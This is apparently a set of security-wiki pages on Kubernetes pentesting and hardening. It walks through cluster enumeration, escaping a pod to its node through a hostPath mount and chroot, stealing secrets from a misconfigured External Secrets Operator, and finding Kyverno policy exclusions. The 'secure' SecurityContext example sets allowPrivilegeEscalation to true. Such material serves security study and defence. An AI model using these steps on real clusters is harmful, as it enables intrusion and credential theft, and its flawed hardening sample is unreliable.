```bash
k get serviceaccounts
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
```
{{#endtab }}
{{#endtabs }}
### Get Deployments
The deployments specify the **components** that need to be **run**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get deployments
k get deployments -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
```
{{#endtab }}
{{#endtabs }}
### Get Pods
The Pods are the actual **containers** that will **run**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get pods
k get pods -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
```
{{#endtab }}
{{#endtabs }}
### Get Services
Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get services
k get services -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
```
{{#endtab }}
{{#endtabs }}
### Get nodes
Get all the **nodes configured inside the cluster**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get nodes
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/nodes/
```
{{#endtab }}
{{#endtabs }}
### Get DaemonSets
**DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get daemonsets
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
```
{{#endtab }}
{{#endtabs }}
### Get cronjob
Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get cronjobs
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
```
{{#endtab }}
{{#endtabs }}
### Get configMap
configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get configmaps # -n namespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
```
{{#endtab }}
{{#endtabs }}
### Get Network Policies / Cilium Network Policies
{{#tabs }}
{{#tab name="First Tab" }}
```bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
{{#endtab }}
{{#endtabs }}
### Get Everything / All
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all
```
{{#endtab }}
{{#endtabs }}
### **Get all resources managed by helm**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
{{#endtab }}
{{#endtabs }}
### **Get Pods consumptions**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k top pod --all-namespaces
```
{{#endtab }}
{{#endtabs }}
### Escaping from the pod
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> if you need create pod on the specific node, you can use following command to get labels on node
>
> `k get nodes --show-labels`
>
> Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.
Then you create your attack.yaml file
```yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
After that you create the pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Now you can switch to the created pod as follows
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
And finally you chroot into the node's system
```bash
chroot /root /bin/bash
```
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
## References
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
+118
View File
@@ -0,0 +1,118 @@
# External Secret Operator
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
## Disclaimer
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
## Prerequisites
1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
2. Read access on at least ExternalSecret at cluster level
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
### Gathering information about existing ClusterSecretStore
Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
```sh
kubectl get ClusterSecretStore
```
### ExternalSecret enumeration
Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
```sh
kubectl get externalsecret -A | grep mystore
```
_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
```sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```
### Assembling the pieces
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
```yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
```
So far we got:
- Name a ClusterSecretStore
- Name of an ExternalSecret
- Name of the secret
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
```yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
```
```yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
```
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
```sh
kubectl get secret leaked_secret -o yaml
```
## References
{{#ref}}
https://external-secrets.io/latest/
{{#endref}}
{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
+174
View File
@@ -0,0 +1,174 @@
# Kubernetes Hardening
{{#include ../../../banners/hacktricks-training.md}}
## Tools to analyse a cluster
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) is a K8s open-source tool providing a multi-cloud K8s single pane of glass, including risk analysis, security compliance, RBAC visualizer and image vulnerabilities scanning. Kubescape scans K8s clusters, YAML files, and HELM charts, detecting misconfigurations according to multiple frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), software vulnerabilities, and RBAC (role-based-access-control) violations at early stages of the CI/CD pipeline, calculates risk score instantly and shows risk trends over time.
```bash
kubescape scan --verbose
```
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
You can choose to:
- run kube-bench from inside a container (sharing PID namespace with the host)
- run a container that installs kube-bench on the host, and then run kube-bench directly on the host
- install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- compile it from source.
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
```
kubeaudit all
```
This tool also has the argument `autofix` to **automatically fix detected issues.**
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
The tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments.
```bash
kube-hunter --remote some.node.com
```
### [**Kubei**](https://github.com/Erezf-p/kubei)
[**Kubei**](https://github.com/Erezf-p/kubei) is a vulnerabilities scanning and CIS Docker benchmark tool that allows users to get an accurate and immediate risk assessment of their kubernetes clusters. Kubei scans all images that are being used in a Kubernetes cluster, including images of application pods and system pods.
### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) is a tool for scanning Kubernetes cluster for risky permissions in Kubernetes's Role-based access control (RBAC) authorization model.
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) is a tool built to test other type of high risk checks compared with the other tools. It mainly have 3 different modes:
- **`find-role-relationships`**: Which will find which AWS roles are running in which pods
- **`find-secrets`**: Which tries to identify secrets in K8s resources such as Pods, ConfigMaps, and Secrets.
- **`test-imds-access`**: Which will try to run pods and try to access the metadata v1 and v2. WARNING: This will run a pod in the cluster, be very careful because maybe you don't want to do this!
## **Audit IaC Code**
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.
### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) finds **security vulnerabilities**, compliance issues, and infrastructure misconfigurations in the following **Infrastructure as Code solutions**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, and OpenAPI 3.0 specifications
### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) is a static code analysis tool for infrastructure-as-code.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) or [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) and detects security and compliance misconfigurations using graph-based scanning.
### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) is a tool that performs static code analysis of your Kubernetes object definitions.
To install:
| Distribution | Command / Link |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
## Tips
### Kubernetes PodSecurityContext and SecurityContext
You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read:
{{#ref}}
kubernetes-securitycontext-s.md
{{#endref}}
### Kubernetes API Hardening
It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment.\
It's important to secure both the **access** (**whitelist** origins to access the API Server and deny any other connection) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). And definitely **never** **allow** **anonymous** **requests**.
**Common Request process:**\
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
**Tips**:
- Close ports.
- Avoid Anonymous access.
- NodeRestriction; No access from specific nodes to the API.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix.
- And also, allows kubelets to add/remove/update these labels and label prefixes.
- Ensure with labels the secure workload isolation.
- Avoid specific pods from API access.
- Avoid ApiServer exposure to the internet.
- Avoid unauthorized access RBAC.
- ApiServer port with firewall and IP whitelisting.
### SecurityContext Hardening
By default root user will be used when a Pod is started if no other user is specified. You can run your application inside a more secure context using a template similar to the following one:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: security-context-demo
spec:
securityContext:
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
volumes:
- name: sec-ctx-vol
emptyDir: {}
containers:
- name: sec-ctx-demo
image: busybox
command: [ "sh", "-c", "sleep 1h" ]
securityContext:
runAsNonRoot: true
volumeMounts:
- name: sec-ctx-vol
mountPath: /data/demo
securityContext:
allowPrivilegeEscalation: true
```
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### General Hardening
You should update your Kubernetes environment as frequently as necessary to have:
- Dependencies up to date.
- Bug and security patches.
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
**The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Upgrade the Master Node components following this sequence:
- etcd (all instances).
- kube-apiserver (all control plane hosts).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, if you use one.
- Upgrade the Worker Node components such as kube-proxy, kubelet.
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
+62
View File
@@ -0,0 +1,62 @@
# Kubernetes SecurityContext(s)
{{#include ../../../banners/hacktricks-training.md}}
## PodSecurityContext <a href="#podsecuritycontext-v1-core" id="podsecuritycontext-v1-core"></a>
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider:
- To have **runASNonRoot** as **True**
- To configure **runAsUser**
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
- Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>A special supplemental group that applies to <strong>all containers in a pod</strong>. Some volume types allow the Kubelet to <strong>change the ownership of that volume</strong> to be owned by the pod:<br>1. The owning GID will be the FSGroup<br>2. The setgid bit is set (new files created in the volume will be owned by FSGroup)<br>3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | The **seccomp options to use by the containers** in this pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | A list of **groups applied to the first process run in each container**, in addition to the container's primary GID. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used. |
## SecurityContext
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
This context is set inside the **containers definitions**. From a defensive security point of view you should consider:
- **allowPrivilegeEscalation** to **False**
- Do not add sensitive **capabilities** (and remove the ones you don't need)
- **privileged** to **False**
- If possible, set **readOnlyFilesystem** as **True**
- Set **runAsNonRoot** to **True** and set a **runAsUser**
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
- Do **NOT** give **privilege** **group** access via **runAsGroup.**
Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**.
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no_new_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP_SYS_ADMIN** |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Whether this **container has a read-only root filesystem**. Default is false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint** of the container process. Uses runtime default if unset. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | The **seccomp options** to use by this container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The **Windows specific settings** applied to all containers. |
## References
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
+56
View File
@@ -0,0 +1,56 @@
# Kubernetes Kyverno
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition&#x20;
Kyverno is an open-source, policy management framework for Kubernetes that enables organizations to define, enforce, and audit policies across their entire Kubernetes infrastructure. It provides a scalable, extensible, and highly customizable solution for managing the security, compliance, and governance of Kubernetes clusters.
## Use cases
Kyverno can be used in a variety of use cases, including:
1. **Network Policy Enforcement**: Kyverno can be used to enforce network policies, such as allowing or blocking traffic between pods or services.
2. **Secret Management**: Kyverno can be used to enforce secret management policies, such as requiring secrets to be stored in a specific format or location.
3. **Access Control**: Kyverno can be used to enforce access control policies, such as requiring users to have specific roles or permissions to access certain resources.
## **Example: ClusterPolicy and Policy**
Let's say we have a Kubernetes cluster with multiple namespaces, and we want to enforce a policy that requires all pods in the `default` namespace to have a specific label.
**ClusterPolicy**
A ClusterPolicy is a high-level policy that defines the overall policy intent. In this case, our ClusterPolicy might look like this:
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-label
spec:
rules:
- validate:
message: "Pods in the default namespace must have the label 'app: myapp'"
match:
any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
- any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
validationFailureAction: enforce
```
When a pod is created in the `default` namespace without the label `app: myapp`, Kyverno will block the request and return an error message indicating that the pod does not meet the policy requirements.
## References
* [https://kyverno.io/](https://kyverno.io/)
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
+60
View File
@@ -0,0 +1,60 @@
# Kubernetes Kyverno bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusing policies misconfiguration
### Enumerate rules
Having an overview may help to know which rules are active, on which mode and who can bypass it
```bash
$ kubectl get clusterpolicies
$ kubectl get policies
```
### Enumerate Excluded
For each ClusterPolicy and Policy, you can specify a list of excluded entities, including:
- Groups: `excludedGroups`
- Users: `excludedUsers`
- Service Accounts (SA): `excludedServiceAccounts`
- Roles: `excludedRoles`
- Cluster Roles: `excludedClusterRoles`
These excluded entities will be exempt from the policy requirements, and Kyverno will not enforce the policy for them.
## Example&#x20;
Let's dig into one clusterpolicy example :&#x20;
```
$ kubectl get clusterpolicies MYPOLICY -o yaml
```
Look for the excluded entities :&#x20;
```yaml
exclude:
any:
- clusterRoles:
- cluster-admin
- subjects:
- kind: User
name: system:serviceaccount:DUMMYNAMESPACE:admin
- kind: User
name: system:serviceaccount:TEST:thisisatest
- kind: User
name: system:serviceaccount:AHAH:*
```
Within a cluster, numerous added components, operators, and applications may necessitate exclusion from a cluster policy. However, this can be exploited by targeting privileged entities. In some cases, it may appear that a namespace does not exist or that you lack permission to impersonate a user, which can be a sign of misconfiguration.
## Abusing ValidatingWebhookConfiguration
Another way to bypass policies is to focus on the ValidatingWebhookConfiguration resource :&#x20;
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
{{#endref}}
src/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
+33
View File
@@ -0,0 +1,33 @@
# Kubernetes Namespace Escalation
{{#include ../../banners/hacktricks-training.md}}
In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**.
Here are some techniques you can try to escape to a different namespace:
### Abuse K8s privileges
Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens.
For more info about which privileges you can abuse read:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Escape to the node
If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens:
- Check for **SAs tokens mounted in other docker containers** running in the node
- Check for new **kubeconfig files in the node with extra permissions** given to the node
- If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet)
All these techniques are explained in:
{{#ref}}
attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
+290
View File
@@ -0,0 +1,290 @@
# Kubernetes Network Attacks
{{#include ../../banners/hacktricks-training.md}}
## Introduction
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
